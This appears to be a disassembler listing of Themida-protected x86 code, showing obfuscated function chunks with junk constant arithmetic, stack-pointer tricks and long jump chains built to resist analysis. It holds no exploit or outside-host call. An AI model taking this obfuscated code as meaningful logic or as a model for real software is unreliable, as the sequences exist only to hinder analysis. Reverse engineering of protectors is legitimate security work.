loc_55C0C7:				; CODE XREF: sub_55C814-808Bj
		or	eax, eax
		jz	sub_5569C2
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esi
		jmp	loc_555D72
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55C0DE:				; CODE XREF: Themida_:0055710Dj
		mov	edx, 415D4C14h
		add	dword ptr [esp+4], 5B137B96h
		sub	[esp+4], edx
		push	esi
		jmp	loc_55C192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55C0F5:				; CODE XREF: sub_55D9AA-16B4j
		xor	ebp, 7411B0E5h
		sub	edx, ebp
		pop	ebp
		sub	edx, 5E475045h
		add	edx, esi
		add	edx, 5E475045h
		jmp	loc_559C22
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55C111:				; CODE XREF: sub_558326+3E09j
		push	edx
		mov	edx, 36B17BF1h
		and	eax, edx
		pop	edx
		shr	eax, 3
		push	ebx
		mov	ebx, 189F4B8Bh
		inc	ebx
		jmp	loc_553B14
; ---------------------------------------------------------------------------


loc_55C129:				; CODE XREF: sub_558326-A2Fj
		mov	eax, 2E20C88h
		dec	eax
		jmp	loc_55C111
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55C134:				; CODE XREF: sub_55C87F-5C0Cj
		mov	[esp+8+var_8], edx
		push	5E7379B6h
		push	[esp+0Ch+var_C]
		jmp	loc_559563
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55C144:				; CODE XREF: sub_552215+3BFFj
		mov	esi, esp
		jmp	loc_55A121
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55C156:				; CODE XREF: sub_559249-680Fj
		not	eax
		jmp	loc_55A630
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55C15D:				; CODE XREF: sub_55CFFC+A92j
		push	edi
		mov	edi, 2B410102h
		not	edi
		or	edi, 1ED45EAh
		inc	edi
		jmp	loc_554700
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_55C171:				; CODE XREF: sub_552118+67EDj
		mov	ebx, 33A0585Fh
		add	ebx, 6B5968F4h
		sub	ebx, 52981E8Ah
		jmp	loc_55DA42
; END OF FUNCTION CHUNK	FOR sub_552118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5578E3


loc_55C187:				; CODE XREF: sub_5578E3-1F32j
		mov	esp, [esp-4+arg_0]
		cmp	ecx, eax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5578E3
; ---------------------------------------------------------------------------


loc_55C192:				; CODE XREF: Themida_:0055C0F0j
		mov	esi, 5B137B96h
		sub	dword ptr [esp+8], 51D510DCh
		add	dword ptr [esp+8], 36312ABFh
		jmp	loc_556B93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5536FD


loc_55C1AC:				; CODE XREF: sub_5536FD+46E2j
		mov	esp, [esp+0]
		jmp	loc_555C61
; END OF FUNCTION CHUNK	FOR sub_5536FD
; ---------------------------------------------------------------------------


loc_55C1B4:				; CODE XREF: Themida_:00554608j
		mov	esi, 6CB9657Bh
		xor	edi, esi
		pop	esi
		and	ecx, edi
		pop	edi
		sub	ecx, 1
		sub	ecx, 0DCFE0616h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_554897

; =============== S U B	R O U T	I N E =======================================



sub_55C1DB	proc near		; CODE XREF: sub_55A922+4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552544 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00553274 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00553534 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00553761 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005553EF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00555CFC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556EAA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00557C13 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005580DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558450 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005585A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A244 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A80C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055AA6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BA3F SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055CD71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055CE45 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055D57E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D6B0 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edi
		jmp	loc_55D57E
sub_55C1DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_55C1F3:				; CODE XREF: sub_55D0F3+5EBj
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C1F8:				; CODE XREF: sub_55ABF6+316Ej
		add	esp, 4
		jmp	loc_557033
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55C203:				; CODE XREF: sub_55C814-53C5j
		pop	edi
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_55D00E
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55C20E:				; CODE XREF: Themida_:005551E1j
		xor	cl, bl
		pop	ebx
		sub	cl, 2Ch
		xor	bh, cl
		jmp	loc_557AC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55C21B:				; CODE XREF: sub_554592+2DB2j
		mov	ebp, 24761BA9h
		add	ebp, 149D5694h
		jmp	loc_5522A2
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55C22B:				; CODE XREF: sub_558326-1298j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	66C4h
		mov	[esp+0Ch+var_C], ebx
		push	esi
		mov	esi, 5A645EF7h
		mov	ebx, 7D1A6021h
		sub	ebx, esi
		jmp	loc_557D08
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_55C253:				; CODE XREF: sub_552850+9j
		mov	ebp, esp
		jmp	loc_555605
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55C25A:				; CODE XREF: sub_55AE3A-973Fj
		push	edx
		jmp	loc_557AB9
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55C260:				; CODE XREF: Themida_:0055AA95j
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A82C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55C275:				; CODE XREF: sub_552791+86B2j
		xor	dl, ch
		pop	ecx
		mov	bl, dl
		pop	edx
		jmp	loc_557EBF
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------


loc_55C280:				; CODE XREF: Themida_:0055CB9Ej
		sub	ebp, 275544D0h
		xor	ebp, 1CAB1F44h
		mov	eax, ebp
		pop	ebp
		jmp	loc_55DA27
; ---------------------------------------------------------------------------


loc_55C294:				; CODE XREF: Themida_:0055D699j
		add	esp, 4
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55C29F:				; CODE XREF: Themida_:00558683j
		xchg	edi, [esp]
		jmp	loc_551B09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_55C2A7:				; CODE XREF: sub_557093+5j
		mov	edi, esp
		jmp	loc_555922
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C2AE:				; CODE XREF: sub_55ABF6-241Aj
		or	edx, eax
		jmp	loc_556562
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55C2B5:				; CODE XREF: Themida_:0055CFF7j
		xor	eax, [esp]
		jmp	loc_5588F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55C2BD:				; CODE XREF: sub_55CE17-A422j
		push	[esp+8+var_8]
		jmp	loc_556958
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55C2C5:				; CODE XREF: sub_55D9AA-695Dj
		pop	esp
		mov	[esp+4+var_4], esi
		push	67581360h
		pop	esi
		add	esi, 0CD3F38D4h
		push	ebp
		mov	ebp, 647453FEh
		sub	ebp, 0CF02615h
		sub	ebp, 30447248h
		sub	ebp, 0AAB13FBh
		xor	ebp, 0F9D2CEEh
		shr	ebp, 4
		jmp	loc_55C0F5
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55C2FB:				; CODE XREF: sub_551F97+8F1Cj
		sub	bx, 681Fh
		jmp	loc_557304
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C305:				; CODE XREF: sub_55ABF6-54C0j
		pop	esp
		sub	esp, 4
		mov	[esp-6+arg_0+2], ecx
		mov	ecx, 65D02A23h
		push	esi
		mov	esi, 50445C47h
		and	esi, 14B753BCh
		push	21C5h
		mov	[esp+2+var_4+2], eax
		mov	eax, 4C490EB4h
		neg	eax
		or	eax, 2AAE6663h
		push	esi
		jmp	loc_558979
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55C33A:				; CODE XREF: Themida_:005597C4j
		push	2
		jmp	loc_55DA09
; ---------------------------------------------------------------------------


loc_55C344:				; CODE XREF: Themida_:0055B84Bj
		xchg	eax, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55C352:				; CODE XREF: sub_55D40D-BA5Bj
		sub	eax, 11BF4A52h
		add	eax, esi
		add	eax, 11BF4A52h
		pop	esi
		sub	ebp, 38D8141Eh
		add	ebp, eax
		jmp	loc_551665
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551501


loc_55C36C:				; CODE XREF: sub_551501+3F43j
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		and	byte ptr [esp-4+arg_0],	al
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_551501
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 2BB477ECh
		and	ebx, 3593518Fh
		jmp	loc_55C6E5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		sub	esi, 1BEB194Dh
		add	esi, edi
		add	esi, 1BEB194Dh
		pop	edi
		jmp	loc_55DBF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55C3CA:				; CODE XREF: sub_55D40D-7FE1j
		push	edx
		mov	edx, 1A1A2269h
		add	edx, 7C950C59h
		jmp	loc_552A09
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55C3DB:				; CODE XREF: sub_5523E1-D9j
		push	1397h
		mov	[esp+8+var_8], ebp
		push	2
		pop	ebp
		add	edx, ebp
		mov	ebp, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_55BD34
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_55C405:				; CODE XREF: Themida_:0055AB48j
		xor	ebx, 7CCF3154h
		sub	ebx, 86701D8Fh
		and	eax, ebx
		jmp	loc_55AE5D
; ---------------------------------------------------------------------------


loc_55C418:				; CODE XREF: Themida_:005594E5j
		mov	eax, 4
		jmp	loc_55587D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55C422:				; CODE XREF: sub_552215+117j
		and	esi, ebp
		pop	ebp
		add	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 1
		sub	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 61A37DC2h
		or	ecx, 1D502F03h
		sub	ecx, 0C2739209h
		jmp	loc_55B34B
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55C448:				; CODE XREF: sub_55A0D6+1B6Aj
		xor	edx, [esp+4+var_4]
		jmp	loc_55363C
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C450:				; CODE XREF: sub_55ABF6+147Bj
		sub	ecx, edi
		pop	edi
		jmp	loc_55DCDE
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55C458:				; CODE XREF: sub_55611A+6D72j
		sub	cl, 0B7h
		or	cl, 40h
		not	cl
		shl	cl, 5
		xor	cl, 52h
		jmp	loc_55D224
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55C46B:				; CODE XREF: sub_5546E4+50D1j
		mov	ebp, 236A335Ah
		add	ebp, 0F8220DDFh
		add	eax, ebp
		pop	ebp
		jmp	loc_551C14
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_55C47E:				; CODE XREF: sub_559E57-7217j
		push	small [esp+6+var_4]
		pop	dx
		pop	small [esp+6+var_6]
		xor	dx, di
		xor	di, dx
		xor	dx, di
		jmp	loc_55CCF1
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554F87


loc_55C497:				; CODE XREF: sub_554F87+3644j
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_55CB81
; END OF FUNCTION CHUNK	FOR sub_554F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55C4A2:				; CODE XREF: sub_551F97+4FA1j
		push	small 0
		sub	word ptr [esp+0], 2E3Eh
		jmp	loc_55B855
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C4B1:				; CODE XREF: sub_55ABF6-11C0j
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		add	ebx, edi
		push	edx
		mov	edx, 24373D0h
		add	ebx, edx
		pop	edx
		push	eax
		jmp	sub_556901
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553464


loc_55C4CB:				; CODE XREF: sub_553464+2C52j
		sub	ebp, 77B856C1h
		jmp	sub_554E9D
; END OF FUNCTION CHUNK	FOR sub_553464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552F98


loc_55C4D6:				; CODE XREF: sub_552F98+1D70j
		add	[esp-0Ch+arg_8], al
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_552F98
; ---------------------------------------------------------------------------


loc_55C4DF:				; CODE XREF: Themida_:00551F73j
		push	esi
		push	ebx
		mov	ebx, 4D9B68D9h
		mov	esi, 8B27211h
		xor	esi, ebx
		jmp	loc_557CFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55C4F2:				; CODE XREF: sub_55C87F-3317j
		mov	ebp, 42E5490Bh
		xor	ebp, 109D228Ah
		not	ebp
		or	ebp, 18D36DDBh
		jmp	loc_55B2AB
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C50A:				; CODE XREF: sub_55ABF6+17Cj
		pop	ebp
		jmp	loc_5560E7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55C510:				; CODE XREF: sub_55CE17+7A1j
		sub	ecx, 20FA1899h
		jmp	loc_556254
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C51B:				; CODE XREF: sub_55ABF6-8599j
		inc	edi
		push	edx
		mov	edx, 36CF4699h
		jmp	loc_556B43
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7152h
		jmp	loc_55513B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_55C535:				; CODE XREF: sub_55B62C-9922j
		add	ecx, ebp
		jmp	loc_555D8C
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55C53C:				; CODE XREF: sub_55A4DA-8659j
		xchg	edi, [esp+4+var_4]
		jmp	loc_554BCC
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A167


loc_55C544:				; CODE XREF: sub_55A167+Ej
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	sub_55CE17
; END OF FUNCTION CHUNK	FOR sub_55A167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555891


loc_55C552:				; CODE XREF: sub_555891-1BBAj
		xor	edx, 4EE64AB8h
		shl	edx, 3
		shr	edx, 5
		sub	edx, 11B53E99h
		xor	edx, 6C253902h
		sub	edx, 2E17B0C6h
		jmp	loc_556A56
; END OF FUNCTION CHUNK	FOR sub_555891
; ---------------------------------------------------------------------------


loc_55C575:				; CODE XREF: Themida_:005580DAj
		pop	ebx
		jmp	loc_55D2CE
; ---------------------------------------------------------------------------


loc_55C57B:				; CODE XREF: Themida_:0055C6CBj
		mov	ebp, [esp]
		jmp	loc_55ACF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55C583:				; CODE XREF: sub_55C58B+1790j
		pop	edi
		add	esi, ebx
		jmp	loc_554196
; END OF FUNCTION CHUNK	FOR sub_55C58B

; =============== S U B	R O U T	I N E =======================================



sub_55C58B	proc near		; CODE XREF: sub_5545BE-1C8j

var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551E3C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00552033 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552950 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553493 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00553D8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00553DFF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055406D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554196 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00554332 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00554DBA SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00554F8D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00555A7C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005567AF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055684B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005568C0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556E41 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00557170 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558C1C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055926A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559B28 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00559DD7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B912 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B9F2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055BAF5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C583 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055D217 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D803 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055DD13 SIZE 0000000D BYTES

		push	ebx
		mov	bh, 9Ch
		shr	bh, 1
		jmp	loc_552033
sub_55C58B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55C595:				; CODE XREF: Themida_:00559467j
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		push	edi
		mov	edi, 0AB26666h
		jmp	loc_55BC16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C5AA:				; CODE XREF: sub_55ABF6+1A6j
		add	ebx, 2BBC3BFEh
		add	ebx, eax
		push	ecx
		mov	ecx, 5F435AA4h
		sub	ecx, 6FF0166Ah
		shl	ecx, 8
		push	ecx
		inc	[esp+0Ah+var_C+2]
		pop	ecx
		and	ecx, 7A5B05A8h
		xor	ecx, 520D6F43h
		jmp	sub_55178F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55C5D7:				; CODE XREF: sub_55A4DA-6764j
		mov	[esp+10h+var_10], edx
		jmp	loc_55C62E
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55C5DF:				; CODE XREF: Themida_:00557079j
		add	esi, ecx
		jmp	loc_554C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_55C5E6:				; CODE XREF: sub_552B28+7j
		sub	al, dl
		add	al, 97h
		pop	dx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bl, 0CDh
		push	ecx
		mov	cl, 6Bh
		xor	cl, 62h
		jmp	loc_55DB3E
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------


loc_55C5FF:				; CODE XREF: Themida_:0055B3D9j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	94Fh
		mov	[esp], esp
		jmp	loc_552083
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55C625:				; CODE XREF: sub_554592-B21j
		push	esi
		not	[esp+0Ch+var_C]
		jmp	loc_559F58
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55C62E:				; CODE XREF: sub_55A4DA+2100j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		jmp	loc_55819B
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55C648:				; CODE XREF: sub_55C814-6A8Dj
		mov	ecx, esp
		add	ecx, 4
		push	3AAFh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_5521E5
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55C65D:				; CODE XREF: sub_55CFFC+40Cj
		push	2
		pop	esi
		add	eax, 41002D96h
		jmp	loc_5557DC
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_55C66D:				; CODE XREF: Themida_:00554254j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 59D02A8Fh
		or	ebx, 10827559h
		push	0
		sub	[esp], ebx
		pop	ebx
		xor	ebx, 0A62D8023h
		jmp	loc_556E17
; ---------------------------------------------------------------------------


loc_55C694:				; CODE XREF: Themida_:00558936j
		mov	[esp], ecx
		jmp	loc_5592DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C69C:				; CODE XREF: sub_55ABF6-6CC6j
		mov	ax, word ptr [esp-0Eh+arg_8+2]
		jmp	sub_55B265
; ---------------------------------------------------------------------------


loc_55C6A5:				; CODE XREF: sub_55ABF6-455Aj
		xchg	eax, [esp+2+var_4+2]
		jmp	loc_5518F1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B3F3


loc_55C6AD:				; CODE XREF: sub_55B3F3-71C9j
		push	13EEh
		mov	[esp+4+var_4], edi
		push	esp
		mov	edi, [esp+8+var_8]
		push	eax
		mov	eax, esp
		jmp	loc_55CD50
; END OF FUNCTION CHUNK	FOR sub_55B3F3
; ---------------------------------------------------------------------------


loc_55C6C1:				; CODE XREF: Themida_:0055B70Fj
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_55C57B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_55C6D0:				; CODE XREF: sub_55D0F3-920Ej
		pop	esp
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	ecx
		jmp	loc_555201
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------


loc_55C6DE:				; CODE XREF: Themida_:0055BC5Ej
		xor	eax, edx
		jmp	loc_5590AF
; ---------------------------------------------------------------------------


loc_55C6E5:				; CODE XREF: Themida_:0055C39Bj
		shl	ebx, 3
		inc	ebx
		add	ebx, 5CC5748Dh
		add	ebx, 96B7FF16h
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5597C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_55C700:				; CODE XREF: sub_55802B+2B79j
		push	edx
		push	ebx
		push	48A31992h
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		shr	ebx, 1
		shr	ebx, 3
		and	ebx, 3F163E68h
		xor	ebx, 14663B1Eh
		mov	edx, ebx
		pop	ebx
		shl	edx, 5
		jmp	loc_559D89
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------


loc_55C729:				; CODE XREF: Themida_:0055AE6Cj
		sub	ecx, 8DAB8236h
		add	eax, 71390AC2h
		sub	eax, 9BA022Ch
		add	eax, ecx
		push	esi
		push	76654E9Ch
		pop	esi
		shl	esi, 3
		add	esi, 73345BEh
		jmp	loc_55A8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55C750:				; CODE XREF: sub_554E9D-3DFj
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		not	edx
		neg	edx
		push	eax
		mov	eax, 0E5818F32h
		sub	edx, eax
		jmp	loc_55BA21
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55C765:				; CODE XREF: sub_55326E+6B4j
		xor	edx, 179C72BCh
		sub	edx, 0B09B32Eh
		jmp	loc_553B31
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551501


loc_55C776:				; CODE XREF: sub_551501+20j
		sub	edx, edi
		sub	edx, 48853F76h
		pop	edi
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], ebx
		push	esp
		jmp	loc_555431
; END OF FUNCTION CHUNK	FOR sub_551501
; ---------------------------------------------------------------------------


loc_55C78E:				; CODE XREF: Themida_:005567EBj
